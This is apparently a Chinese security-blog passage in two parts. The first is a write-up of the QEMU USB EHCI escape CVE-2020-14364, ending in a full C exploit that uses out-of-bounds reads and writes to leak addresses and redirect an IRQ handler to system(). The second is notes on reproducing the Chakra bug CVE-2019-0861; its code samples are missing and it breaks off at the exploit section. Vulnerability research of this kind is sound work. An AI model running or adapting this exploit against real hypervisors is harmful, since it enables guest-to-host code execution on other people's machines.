val &= PORTSC_RO_MASK;
if ((val & PORTSC_PRESET) && !(*portsc & PORTSC_PRESET)) {
trace_usb_ehci_port_reset(port, 1);
}
if (!(val & PORTSC_PRESET) &&(*portsc & PORTSC_PRESET)) {
trace_usb_ehci_port_reset(port, 0);
if (dev && dev->attached) {
usb_port_reset(&s->ports[port]);
*portsc &= ~PORTSC_CSC;
}
/*
* Table 2.16 Set the enable bit(and enable bit change) to indicate
* to SW that this port has a high speed device attached
*/
if (dev && dev->attached && (dev->speedmask & USB_SPEED_MASK_HIGH)) {
val |= PORTSC_PED;
}
}
if ((val & PORTSC_SUSPEND) && !(*portsc & PORTSC_SUSPEND)) {
trace_usb_ehci_port_suspend(port);
}
if (!(val & PORTSC_FPRES) && (*portsc & PORTSC_FPRES)) {
trace_usb_ehci_port_resume(port);
val &= ~PORTSC_SUSPEND;
}
*portsc &= ~PORTSC_RO_MASK;
*portsc |= val;
trace_usb_ehci_portsc_change(addr + s->portscbase, addr >> 2, *portsc, old);
}
---------------------------------------------------------------------------------------------------------------------------
## 绕过检测
在漏洞调用链中我们可以看到第一个与usb有关的函数是`ehci_work_bh`，然后`ehci_work_bh`调用`ehci_advance_periodic_state`，我们直接来看一下`ehci_work_bh`函数需要经过哪些步骤才能调用到`ehci_advance_periodic_state`，函数代码如下，根据代码可以发现想要调用到`ehci_advance_periodic_state`的话，需要`ehci_periodic_enabled(ehci)`或者`ehci->pstate
!=
EST_INACTIVE`这两个条件中的一个为真即可，`ehci_periodic_enabled`的代码也在下方，可以看到我们只需要设置`s->usbcmd`的值为`USBCMD_PSE
| USBCMD_RUNSTOP`就可以调用到`ehci_advance_periodic_state`，这里可能有人会疑问`(ehci->frindex
& 7) == 0`这个条件并没有设置呀，这是因为这里有个循环并且每次循环都会让`frindex`加1，所以就一定会使`(ehci->frindex &
7) == 0`这个条件为真
---------------------------------------------------------------------------------------------------------------------------- static void ehci_work_bh(void *opaque)
{
EHCIState *ehci = opaque;
int need_timer = 0;
int64_t expire_time, t_now;
uint64_t ns_elapsed;
uint64_t uframes, skipped_uframes;
int i;
if (ehci->working) {
return;
}
ehci->working = true;
......
if (ehci_periodic_enabled(ehci) || ehci->pstate != EST_INACTIVE) {
need_timer++;
......
for (i = 0; i < uframes; i++) {
/*
* If we're running behind schedule, we should not catch up
* too fast, as that will make some guests unhappy:
* 1) We must process a minimum of MIN_UFR_PER_TICK frames,
* otherwise we will never catch up
* 2) Process frames until the guest has requested an irq (IOC)
*/
if (i >= MIN_UFR_PER_TICK) {
ehci_commit_irq(ehci);
if ((ehci->usbsts & USBINTR_MASK) & ehci->usbintr) {
break;
}
}
if (ehci->periodic_sched_active) {
ehci->periodic_sched_active--;
}
ehci_update_frindex(ehci, 1);
if ((ehci->frindex & 7) == 0) {
ehci_advance_periodic_state(ehci);
}
ehci->last_run_ns += UFRAME_TIMER_NS;
}
}
......
}
---------------------------------------------------------------------------------------------------------------------------- static inline bool ehci_async_enabled(EHCIState *s)
{
return ehci_enabled(s) && (s->usbcmd & USBCMD_ASE);
}
---------------------------------------------------------------------------------------------------------------------------- static inline bool ehci_enabled(EHCIState *s)
{
return s->usbcmd & USBCMD_RUNSTOP;
}
----------------------------------------------------------------------------------------------------------------------------
下一个应该调用的函数是`ehci_advance_state`，同样也来看一下`ehci_advance_periodic_state`的代码看看怎么样才能调用到`ehci_advance_state`，函数代码如下，这里仅仅需要设置一下list即可，然后list是由`ehci->periodiclistbase`来设置的，乍一看这个`periodiclistbase`是不可控的，但是我们仔细观察一下`ehci_opreg_write`，在这个函数中虽然没有直接对`periodiclistbase`赋值的语句，但是最后他有一行这样的代码`*mmio
= val;`，并且mmio的地址是我们可以控制的因为最开始有一行这样的代码`uint32_t *mmio = s->opreg + (addr >>
2);`，同时我们可以看到`EHCIState`结构中`periodiclistbase`是在`opre`
后面的，所以说我们就可以控制list的值了，然后后面list+4(调试的时候得到的，因为`list |= ((ehci->frindex & 0x1ff8)
>>
1);`这行代码导致的+4)，后面还有一个`get_dwords`函数，这个函数会从list取内容存到entry里面，这个函数并不需要设置返回的就是大于0的值
static void ehci_advance_periodic_state(EHCIState *ehci)
{
uint32_t entry;
uint32_t list;
const int async = 0;
// 4.6
switch(ehci_get_state(ehci, async)) {
case EST_INACTIVE:
if (!(ehci->frindex & 7) && ehci_periodic_enabled(ehci)) {
ehci_set_state(ehci, async, EST_ACTIVE);
// No break, fall through to ACTIVE
} else
break;
case EST_ACTIVE:
if (!(ehci->frindex & 7) && !ehci_periodic_enabled(ehci)) {
ehci_queues_rip_all(ehci, async);
ehci_set_state(ehci, async, EST_INACTIVE);
break;
}
list = ehci->periodiclistbase & 0xfffff000;
/* check that register has been set */
if (list == 0) {
break;
}
list |= ((ehci->frindex & 0x1ff8) >> 1);
if (get_dwords(ehci, list, &entry, 1) < 0) {
break;
}
DPRINTF("PERIODIC state adv fr=%d. [%08X] -> %08X\n",
ehci->frindex / 8, list, entry);
ehci_set_fetch_addr(ehci, async,entry);
ehci_set_state(ehci, async, EST_FETCHENTRY);
ehci_advance_state(ehci, async);
ehci_queues_rip_unused(ehci, async);
break;
default:
/* this should only be due to a developer mistake */
fprintf(stderr, "ehci: Bad periodic state %d. "
"Resetting to active\n", ehci->pstate);
g_assert_not_reached();
}
}
下面就是到了`ehci_advance_state`这个函数，这个函数有很多case分支，代码如下，可以看到我们想要调用的`ehci_state_execute`前面有一个assert，他要求q不为空，同时我们可以看到`EST_FETCHQH`分支会给q赋值，而且这个switch是在一个循环里面，也就意味着说我们可以多次执行分支代码，所以说我们只要让最后面的`if
(again < 0 || itd_count > 16)`这个为真就可以保证我们在获取到q之后还可以进入`EST_EXECUTE`分支。
首先动调发现每次进入这个函数的时候第一个进入的分支就是`EST_FETCHENTRY`，这个函数会根据`p_fetch_addr`来获取entry的地址，并且会根据entry的后三位来决定下次循环进入哪个分支，`p_fetch_addr`是由我们可控的，在上一层函数`ehci_advance_periodic_state`中会调用`ehci_set_fetch_addr`函数来给`p_fetch_addr`赋值，赋的值就是entry的地址，entry的地址是list+4，list的地址是我们可控的，所以我们可以让list地址为一块dmabuf，这样我们就可以控制entry的值，从而来使下次分支会经过`EST_FETCHQH`
经过`EST_FETCHQH`分支之后，并不能直接控制分支去执行`EST_EXECUTE`处的代码，这里我们需要在执行完`EST_FETCHQH`分支之后去执行`EST_FETCHQTD`分支，因为这个分支里面才可以控制下一次分支执行`EST_EXECUTE`处的代码，在`EST_FETCHQH`里面我们需要设置获取的qh的token为`1
<<
7`还有`current_qtd`不为空，这里qh的地址也是我们可以控制的，在`ehci_state_fetchqh`中会根据entry来找到qh的地址，entry是我们可控的所以说qh的内容也就是可控的，这里设置完了之后我们就可以在下一次分支去执行`EST_FETCHQTD`分支处的代码
在`EST_FETCHQTD`分支里面，我们需要设置qtd的token为`(1 <<
7)`，这里qtd的内容也是我们可控的，qtd的地址是由qh的current_qtd来决定的，qh可控所以qtd也就可控，这之后我们就可以执行到`ehci_state_execute`了
static void ehci_advance_state(EHCIState *ehci, int async)
{
EHCIQueue *q = NULL;
int itd_count = 0;
int again;
do {
switch(ehci_get_state(ehci, async)) {
case EST_WAITLISTHEAD:
again = ehci_state_waitlisthead(ehci, async);
break;
case EST_FETCHENTRY:
again = ehci_state_fetchentry(ehci, async);
break;
case EST_FETCHQH:
q = ehci_state_fetchqh(ehci, async);
if (q != NULL) {
assert(q->async == async);
again = 1;
} else {
again = 0;
}
break;
case EST_FETCHITD:
again = ehci_state_fetchitd(ehci, async);
itd_count++;
break;
case EST_FETCHSITD:
again = ehci_state_fetchsitd(ehci, async);
itd_count++;
break;
case EST_ADVANCEQUEUE:
assert(q != NULL);
again = ehci_state_advqueue(q);
break;
case EST_FETCHQTD:
assert(q != NULL);
again = ehci_state_fetchqtd(q);
break;
case EST_HORIZONTALQH:
assert(q != NULL);
again = ehci_state_horizqh(q);
break;
case EST_EXECUTE:
assert(q != NULL);
again = ehci_state_execute(q);
if (async) {
ehci->async_stepdown = 0;
}
break;
case EST_EXECUTING:
assert(q != NULL);
if (async) {
ehci->async_stepdown = 0;
}
again = ehci_state_executing(q);
break;
case EST_WRITEBACK:
assert(q != NULL);
again = ehci_state_writeback(q);
if (!async) {
ehci->periodic_sched_active = PERIODIC_ACTIVE;
}
break;
default:
fprintf(stderr, "Bad state!\n");
again = -1;
g_assert_not_reached();
break;
}
if (again < 0 || itd_count > 16) {
/* TODO: notify guest (raise HSE irq?) */
fprintf(stderr, "processing error - resetting ehci HC\n");
ehci_reset(ehci);
again = 0;
}
}
while (again);
}
现再到了`ehci_state_execute`函数了，从这个函数到`usb_process_one`函数，中间的过程不需要再设置什么其它的内容就可以执行到`usb_process_one`函数了，我们直接来看`usb_process_one`函数，这个函数里面会有一个分支，会根据pid来决定具体是调用`do_token_setup`、`do_token_in`、`do_token_out`这三个函数中的哪一个，pid的值是由qtd->token来决定的，qtd的值是我们可控的，所以说我们就可以指定执行哪个函数
> tips:
>
> 这里有一个坑点，我最开始启动虚拟机的时候没有加一个真实的usb设备，导致执行这个`usb_ep_get(p->queue->dev, p->pid,
> endp);`函数的时候就一直报错，后面加上一个真实的设备之后就可以了 23333
static void usb_process_one(USBPacket *p)
{
USBDevice *dev = p->ep->dev;
/*
* Handlers expect status to be initialized to USB_RET_SUCCESS, but it
* can be USB_RET_NAK here from a previous usb_process_one() call,
* or USB_RET_ASYNC from going through usb_queue_one().
*/
p->status = USB_RET_SUCCESS;
if (p->ep->nr == 0) {
/* control pipe */
if (p->parameter) {
do_parameter(dev, p);
return;
}
switch (p->pid) {
case USB_TOKEN_SETUP:
do_token_setup(dev, p);
break;
case USB_TOKEN_IN:
do_token_in(dev, p);
break;
case USB_TOKEN_OUT:
do_token_out(dev, p);
break;
default:
p->status = USB_RET_STALL;
}
} else {
/* data pipe */
usb_device_handle_data(dev, p);
}
}
现再终于可以调用到漏洞函数了，`do_token_setup`函数代码如下，这里有一个检测如果说`iov.size`的值不等于8的话就会直接return，但是还好`iov.size`也是由`qtd->token`来决定的所以说我们就可以绕过这个检测了，然后设置`setup_len`，`setup_buf`的地址是由qtd的`bufptr`来决定的，所以说`setup_len`可控，从而代码漏洞描述中的效果
static void do_token_setup(USBDevice *s, USBPacket *p)
{
int request, value, index;
if (p->iov.size != 8) {
p->status = USB_RET_STALL;
return;
}
usb_packet_copy(p, s->setup_buf, p->iov.size);
s->setup_index = 0;
p->actual_length = 0;
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
if (s->setup_len > sizeof(s->data_buf)) {
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
s->setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}
request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];
if (s->setup_buf[0] & USB_DIR_IN) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
s->setup_state = SETUP_STATE_SETUP;
}
if (p->status != USB_RET_SUCCESS) {
return;
}
if (p->actual_length < s->setup_len) {
s->setup_len = p->actual_length;
}
s->setup_state = SETUP_STATE_DATA;
} else {
if (s->setup_len == 0)
s->setup_state = SETUP_STATE_ACK;
else
s->setup_state = SETUP_STATE_DATA;
}
p->actual_length = 8;
}
## 任意地址读写
**任意地址读**
1. 首先设置越界长度为0x1010
2. 进行越界写，将setup_len 设置成0x1010，将setup_index设置成0xfffffff8-0x1010， 因为usb_packet_copy后面还有s->setup_index += len 操作，此时s->setup_index 就会被设置成0xfffffff8
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len;
3. 再次进行越界写，此时从data_buf-8处开始写，覆盖了setup字段，将setup[0] 设置成USB_DIR_IN，并且将setup_index 覆盖成targer_offset-0x1018，因为也要经过s->setup_index += len;操作。并且本次进入case SETUP_STATE_DATA时：len = s->setup_len – s->setup_index操作（0x1010-(-0x8)=0x1018），使得len变成0x1018。在第二次越界写的时候越界写setup_len的值为0xffff这样当我们的setup_index的值设置为负数的时候，在下次越界读的时候len的值会是负数，所以需要使用0xffff让其成为正数
case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);
4. 最后越界读，就能读取目标地址的内容
**任意地址写**
1. 首先设置越界长度为0x1010
2. 越界写，将setup_len 设置成目标偏移-0x1010，usb_packet_copy后面的s->setup_index += len 操作后，s->setup_index就变成目标偏移offset。将setup_index设置成目标偏移+0x8， 经过下次越界写的len = s->setup_len – s->setup_index =》len=（offset+0x8）-offset=0x8，只修改目标地址8个字节的内容
3. 再次越界写，修改目标地址的内容
## 利用思路
1. 首先越界读，可以读`USBdevice`结构里面`USBEndpoint ep_ctl`，在这个结构体里面会有`USBdevice`的地址，我们可以通过这个地址获取到`data_buf`和`USBPort`
2. 然后在越界读出来的内容里有一个变量是`USBDescDevice *device`，可以根据这个变量得到system的地址
3. `USBDevic` 会在 realize 时，调用`usb_claim_port`，将`USBDevice`中的port字段设置为指向
`EHCIState`中的ports的地址， 读取`USBDevice->port`的内容就能获得`EHCIState->ports` 的地址，减去偏移得到
EHCIState的地址。进而得到EHCIState->irq地址。
4. 利用任意写将`EHCIState->irq`内容填充为伪造的irq地址，将handler 填充成system[@plt](https://github.com/plt "@plt")地址，opaque填充成payload的地址，之后通过mmio_write读写触发ehci_update_irq -> qemu_set_irq，最终执行system(“xcalc”)，完成利用。
## exp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdint.h>
#include <stdbool.h>
typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
struct USBEndpoint {
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
USBEndpoint *fd;
USBEndpoint *bk;
};
struct USBDevice {
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;
USBEndpoint ep_ctl;
USBEndpoint ep_in[15];
USBEndpoint ep_out[15];
};
typedef struct EHCIqh {
uint32_t next; /* Standard next link pointer */
/* endpoint characteristics */
uint32_t epchar;
/* endpoint capabilities */
uint32_t epcap;
uint32_t current_qtd; /* Standard next link pointer */
uint32_t next_qtd; /* Standard next link pointer */
uint32_t altnext_qtd;
uint32_t token; /* Same as QTD token */
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqh;
typedef struct EHCIqtd {
uint32_t next; /* Standard next link pointer */
uint32_t altnext; /* Standard next link pointer */
uint32_t token;
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqtd;
char *setup_buf;
char *data_buf;
char *data_bufoob;
char *first_leak_data;
char *second_leak_data;
unsigned char* mmio_mem;
char *dmabuf;
uint32_t *entry;
struct EHCIqh *qh;
struct EHCIqtd * qtd;
uint64_t device_addr = 0;
uint64_t func_addr = 0;
uint64_t port_addr = 0;
uint64_t port_ptr = 0;
uint64_t data_buf_addr = 0;
size_t virtuak_addr_to_physical_addr(void *addr){
uint64_t data;
int fd = open("/proc/self/pagemap",O_RDONLY);
if(!fd){
perror("open pagemap");
return 0;
}
size_t pagesize = getpagesize();
size_t offset = ((uintptr_t)addr / pagesize) * sizeof(uint64_t);
if(lseek(fd,offset,SEEK_SET) < 0){
puts("lseek");
close(fd);
return 0;
}
if(read(fd,&data,8) != 8){
puts("read");
close(fd);
return 0;
}
if(!(data & (((uint64_t)1 << 63)))){
puts("page");
close(fd);
return 0;
}
size_t pageframenum = data & ((1ull << 55) - 1);
size_t phyaddr = pageframenum * pagesize + (uintptr_t)addr % pagesize;
close(fd);
return phyaddr;
}
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint64_t addr, uint64_t value)
{
*((uint64_t*)(mmio_mem + addr)) = value;
}
uint64_t mmio_read(uint64_t addr)
{
return *((uint64_t*)(mmio_mem + addr));
}
void echi_reset(void){
mmio_write(0x20,1<<1);
return;
}
void set_usbcmd(void){
echi_reset();
mmio_write(0x20,(1<<0)|(1<<4));
return;
}
void set_portsc(void){
mmio_write(0x64,1<<8);
mmio_write(0x64,1<<2);
mmio_write(0x65<<2,1<<8);
mmio_write(0x65<<2,1<<2);
mmio_write(0x66<<2,1<<8);
mmio_write(0x66<<2,1<<2);
mmio_write(0x67<<2,1<<8);
mmio_write(0x67<<2,1<<2);
mmio_write(0x68<<2,1<<8);
mmio_write(0x68<<2,1<<2);
mmio_write(0x69<<2,1<<8);
mmio_write(0x69<<2,1<<2);
return;
}
void set_length(uint64_t length){
setup_buf[6] = length & 0xff;
setup_buf[7] = (length >> 8) & 0xff;
qtd->token = (8 << 16) | (1 << 7) | (2 << 8);
qtd->bufptr[0] = virtuak_addr_to_physical_addr(setup_buf);
qh->token = 1 << 7;
qh->current_qtd = virtuak_addr_to_physical_addr(qtd);
*entry = virtuak_addr_to_physical_addr(qh) + (1 << 1);
set_usbcmd();
set_portsc();
mmio_write(0x34,virtuak_addr_to_physical_addr(dmabuf));
sleep(3);
}
void perpare_read(void){
setup_buf[0] = 0x80;
setup_buf[6] = 0xff;
setup_buf[7] = 0x00;
qtd->token = (8 << 16) | (1 << 7) | (2 << 8);
qtd->bufptr[0] = virtuak_addr_to_physical_addr(setup_buf);
qh->token = 1 << 7;
qh->current_qtd = virtuak_addr_to_physical_addr(qtd);
*entry = virtuak_addr_to_physical_addr(qh) + (1 << 1);
set_usbcmd();
set_portsc();
mmio_write(0x34,virtuak_addr_to_physical_addr(dmabuf));
sleep(3);
}
void perpare_write(void){
setup_buf[0] = 0x00;
setup_buf[6] = 0xff;
setup_buf[7] = 0x00;
qtd->token = (8 << 16) | (1 << 7) | (2 << 8);
qtd->bufptr[0] = virtuak_addr_to_physical_addr(setup_buf);
qh->token = 1 << 7;
qh->current_qtd = virtuak_addr_to_physical_addr(qtd);
*entry = virtuak_addr_to_physical_addr(qh) + (1 << 1);
set_usbcmd();
set_portsc();
mmio_write(0x34,virtuak_addr_to_physical_addr(dmabuf));
sleep(3);
}
void oob_read(uint64_t length,int flag){
if(flag){
perpare_read();
set_length(length);
}
data_buf[0] = 'R';
data_buf[1] = 'e';
data_buf[2] = 's';
data_buf[3] = 'e';
data_buf[4] = 'r';
data_buf[5] = 'y';
qtd->token = (0x1e00 << 16) | (1 << 7) | (1 << 8);
qtd->bufptr[0] = virtuak_addr_to_physical_addr(data_buf);
qtd->bufptr[1] = virtuak_addr_to_physical_addr(data_bufoob);
qh->token = 1 << 7;
qh->current_qtd = virtuak_addr_to_physical_addr(qtd);
*entry = virtuak_addr_to_physical_addr(qh) + (1 << 1);
set_usbcmd();
set_portsc();
mmio_write(0x34,virtuak_addr_to_physical_addr(dmabuf));
sleep(5);
}
void oob_write(uint64_t offset,uint64_t setup_len,uint64_t setup_index,int perpare){
if(perpare){
perpare_write();
set_length(0x1010);
}
*(unsigned long *)(data_bufoob + offset) = 0x0000000200000002; // 覆盖成原先的内容
*(unsigned int *)(data_bufoob + 0x8 +offset) = setup_len; //setup_len
*(unsigned int *)(data_bufoob + 0xc+ offset) = setup_index;
qtd->token = (0x1e00 << 16) | (1 << 7) | (0 << 8);
qtd->bufptr[0] = virtuak_addr_to_physical_addr(data_buf);
qtd->bufptr[1] = virtuak_addr_to_physical_addr(data_bufoob);
qh->token = 1 << 7;
qh->current_qtd = virtuak_addr_to_physical_addr(qtd);
*entry = virtuak_addr_to_physical_addr(qh) + (1 << 1);
set_usbcmd();
set_portsc();
mmio_write(0x34,virtuak_addr_to_physical_addr(dmabuf));
sleep(5);
}
void anywhere_read(uint64_t target_addr){
puts("\033[47;31m[*] Anywhere Read\033[0m");
//set_length(0x1010);
oob_write(0x0,0x1010,0xfffffff8-0x1010,1);
*(unsigned long *)(data_buf) = 0x2000000000000080;
uint32_t target_offset = target_addr - data_buf_addr;
oob_write(0x8,0xffff,target_offset - 0x1018,0);
oob_read(0x2000,0);
}
void anywhere_write(uint64_t target_addr,uint64_t payload,int flag){
puts("\033[47;31m[*] Anywhere Write\033[0m");
uint32_t offset = target_addr - data_buf_addr;
oob_write(0, offset+0x8, offset-0x1010,1);
if(flag){
printf("\033[41;37m[*] Hacked!\033[0m\n");
}
*(unsigned long *)(data_buf) = payload;
oob_write(0, 0xffff, 0,0);
}
void init(void){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED)
die("mmap");
mlock(dmabuf, 0x3000);
//printf("[*] mmio_mem : %p\n", mmio_mem);
//printf("[*] dmabuf : %p\n",dmabuf);
entry = dmabuf + 0x4;
qh = dmabuf + 0x100;
qtd = dmabuf + 0x200;
setup_buf = dmabuf + 0x300;
data_buf = dmabuf + 0x1000;
data_bufoob = dmabuf + 0x2000;
first_leak_data = dmabuf + 0x2000;
second_leak_data = dmabuf + 0x1000;
}
int main(){
puts("\033[41;37m[*] Beginning\033[0m");
puts("\033[47;31m[*] Wait a moment\033[0m");
init();
printf("\033[41;37m[*] Step 1/3\033[0m\n");
oob_read(0x2000,1);
device_addr = 0;
for(int i=36;i<42;i++){
uint64_t tmp = first_leak_data[i] & 0xff;
device_addr |= tmp << ((i-36) * 8);
}
func_addr = 0;
port_addr = device_addr+0x78;
data_buf_addr = device_addr+0xdc;
printf("\033[47;31m[*] Devices addr : 0x%lx\033[0m\n",device_addr);
printf("\033[47;31m[*] Port addr : 0x%lx\033[0m\n",port_addr);
printf("\033[47;31m[*] Data Buf addr : 0x%lx\033[0m\n",data_buf_addr);
for(int i=0x4fc;i<0x4fc+6;i++){
uint64_t tmp = first_leak_data[i] & 0xff;
func_addr |= tmp << ((i-0x4fc) * 8);
}
printf("\033[47;31m[*] Func addr : 0x%lx\033[0m\n",func_addr);
uint64_t system_addr = func_addr - 0xb5c860;
printf("\033[47;31m[*] System addr : 0x%lx\033[0m\n",system_addr);
sleep(3);
printf("\033[41;37m[*] Step 2/3\033[0m\n");
anywhere_read(port_addr);
for(int i=0;i<6;i++){
uint64_t tmp = second_leak_data[i] & 0xff;
port_ptr |= tmp << ((i) * 8);
}
uint64_t EHCIState_addr = port_ptr - 0x540;
uint64_t irq_addr = EHCIState_addr + 0xc0;
uint64_t fake_irq_addr = data_buf_addr;
uint64_t irq_ptr = 0;
anywhere_read(irq_addr);
for(int i=0;i<6;i++){
uint64_t tmp = second_leak_data[i] & 0xff;
irq_ptr |= tmp << ((i) * 8);
}
printf("\033[47;31m[*] Port ptr : 0x%lx\033[0m\n",port_ptr);
printf("\033[47;31m[*] EHCIState addr : 0x%lx\033[0m\n",EHCIState_addr);
printf("\033[47;31m[*] IRQ addr : 0x%lx\033[0m\n",irq_addr);
printf("\033[47;31m[*] Fake IRQ addr : 0x%lx\033[0m\n",fake_irq_addr);
printf("\033[47;31m[*] IRQ ptr : 0x%lx\033[0m\n",irq_ptr);
*(unsigned long *)(data_buf + 0x28) = system_addr;
*(unsigned long *)(data_buf + 0x30) = device_addr+0xdc+0x100;
*(unsigned long *)(data_buf + 0x38) = 0x3;
*(unsigned long *)(data_buf + 0x100) = 0x636c616378;
printf("\033[41;37m[*] Step 3/3\033[0m\n");
oob_write(0, 0xffff, 0xffff,1);
anywhere_write(irq_addr, fake_irq_addr,1);
return 0;
}
exp执行效果如下
## 参考链接
<https://www.freebuf.com/vuls/247829.html>
<https://xz.aliyun.com/t/8320?accounttraceid=6ede24cd2a974ccbb0703b7121b5469dhtfc#toc-8>
<https://lists.gnu.org/archive/html/qemu-devel/2020-08/msg05969.html>
<https://bugzilla.redhat.com/show_bug.cgi?id=1869201#c0>
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14364> | 社区文章 |
# Chakra漏洞调试笔记5——CVE-2019-0861复现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在《Chakra漏洞调试笔记》1~4中，笔者从ImplicitCall，OpCode Side Effect，MissingValue和Array
OOB几个方向分别介绍了Chakra JIT引擎的几个常见攻击面。从近几个月Google Project Zero的bug
列表中可以看到不再有新的Chakra漏洞PoC更新，猜测可能是因为微软将在新版的Edge浏览器中使用Chromium内核，Google Project
Zero的挖洞重点不再是Chakra。因此从这篇笔记开始，笔者将尝试对今年Chakra的一些漏洞补丁进行分析，尝试根据补丁复现PoC。这篇笔记选择分析的漏洞是CVE-2019-0861。
## 0x0 Patch Analysis
这里的补丁比较简单，只有一行，即在函数JavascriptOperators::CallSetter回调返回前加入了语句：
threadContext->AddImplicitCallFlags(ImplicitCall_Accessor);
根据笔记1的介绍，ImplicitCallFlags是用来同步Interpreter和JIT状态的标识符，这里加入ImplicitCallFlags说明存在JIT中存在需要Bailout到Interpreter的情况。
补丁中给出了修补的注释，大概意思是如果需要将变量存储的值向前传播，就需要Bailout，不能依赖于getter/setter来生成LdFld需要的值。这里理解起来比较晦涩，大概可以猜到的信息是getter/setter操作错误导致JIT里对变量值判断错误。
## 0x1 From Patch to PoC
通过Patch复现PoC，笔者的思路是首先寻找可以走到Patch点的js代码。然后根据猜测的漏洞点通过修改js代码构造触发漏洞的PoC。
首先通过源码查找寻找函数JavascriptOperators::CallSetter可能的调用栈，这里找到一个可能的调用栈如下：
* JavascriptOperators::OP_SetProperty
* JavascriptOperators::SetProperty
* JavascriptOperators::SetProperty_Internal
* JavascriptOperators::SetAccessorOrNonWritableProperty
* JavascriptOperators::CallSetter
根据函数JavascriptOperators::OP_SetProperty，猜测这里可以触发漏洞点函数应该是一个对象属性的Set操作。
根据函数JavascriptOperators::SetAccessorOrNonWritableProperty的实现：
猜测到对象的属性需要有构造器（Accessor）才可以走到漏洞点。由Project Zero如下case启发：
这里使用__defineSetter__定义构造器，第一版js代码如下：
在函数JavascriptOperators::CallSetter回调返回前下断点，当执行obj.x = 1;语句时，可以看到c++代码成功走到了漏洞点：
由于ImplicitCallFlags是用来处理JIT中回调的bailout问题，因此我们还需要将第一版js代码修改为可以触发JIT的代码，在JIT调用栈中走到漏洞点。修改第二版js代码如下（ch.exe运行参数
-mic:1 -off:simplejit -bgjit-）：
这里我们通过接受obj.x的值作为JIT的返回值，检查JIT对obj.x值判断是否正确。
再次运行PoC代码，函数opt触发JIT，并成功走到漏洞点：
两次print的输出分别为1和undefined，符合预期。
有了可以走到漏洞点的js代码，接下来就需要分析如何通过修改js代码构造触发漏洞的PoC了。
关于JIT中脚本回调的问题，Chakra是通过ImplicitCallFlags机制处理的。一般情况下：
1. JIT代码会根据Opcode是否存在脚本回调的情况生成BailOutOnImplicitCallsPreOp或者BailOutOnImplicitCalls指令
2. runtime代码通过ExecuteImplicitCall调用回调函数，ExecuteImplicitCall内部首先判断回调函数是否存在Side Effect，如果没有就直接执行回调函数（返回前需检查回调函数的返回值是否在栈上，防止栈上指针泄露，见CVE-2018-0860）；如果DisableImplicitCallFlags=1则不执行回调函数，直接返回Undefined；否则在回调函数前设置ImplicitCallFlags，再调用回调函数。这样在回到JIT代码后就可以通过检查ImplicitCallFlags是否被修改来判断是否发生脚本回调了。（具体原理参见笔记1）
首先，obj.x = 1对应的操作符StFld会生成BailOutOnImplicitCalls指令，满足1）；
其次，JavascriptOperators::CallSetter回调点是通过ExecuteImplicitCall调用的，满足2）。
因此，这里不可以通过obj.__defineSetter__(“x”,
()=>{});构造一个脚本回调来修改JIT中的数据类型。那么为什么补丁还在JavascriptOperators::CallSetter回调函数返回前加入threadContext->AddImplicitCallFlags(ImplicitCall_Accessor);强制JIT
bailout呢？是否存在不通过回调就可以触发JIT错误的方法呢？
我们观察第二版js代码生成的Globopt后的IR：
这里我们看到StFld确实生成了BailOutOnImplicitCalls，同时发现语句var tmp = obj.x; return tmp;
被优化成了：
Ret 0x1000000000001.var
也就是说JIT认为obj.x是一个常量，常量的赋值传播直接被优化成了返回常量1。
我们知道obj.__defineSetter__(“x”, ()=>{}); 使得obj.x = undefined，JIT在Ret
0x1000000000001.var前因为回调函数()=>{} 而bailout到Interpreter，从而返回了undefined的正确值。
那么根据补丁，应该存在这样一种错误的场景：不触发StFld指令bailout条件的情况下，通过构造器__defineSetter__设置obj.x =
undefined，回到JIT后因为ImplicitCallFlags没有被ExecuteImplicitCall修改从而不会bailout到Interpreter，最终返回obj.x的错误值1。
观察ExecuteImplicitCall的实现：
其中红框中的逻辑是：当回调函数没有Side
Effect，并且返回值不再栈上，就不会设置ImplicitCallFlags。因此这里把obj.__defineSetter__(“x”,
()=>{});的回调函数()=>{}修改为没有Side Effect的函数，就可以触发红框中代码流程。由Project Zero如下case启发：
修改后的第三版js代码如下：
再次执行PoC，成功绕过了JIT中BailOutOnImplicitCalls的检查，回调返回后继续执行JIT代码。可以看到第二次的print(ret)错误的输出了数值1（正确值为undefined）：
到这里我们就成功构造出了触发漏洞的PoC了。接下来需要考虑如何利用这个漏洞。
## 0x2 Exploit
这里我们可以利用漏洞得到一个JIT判断错误的值，那么如何利用呢？由S0rryMyBad漏洞利用代码启发：
修改PoC如下，尝试通过漏洞返回错误的值0：
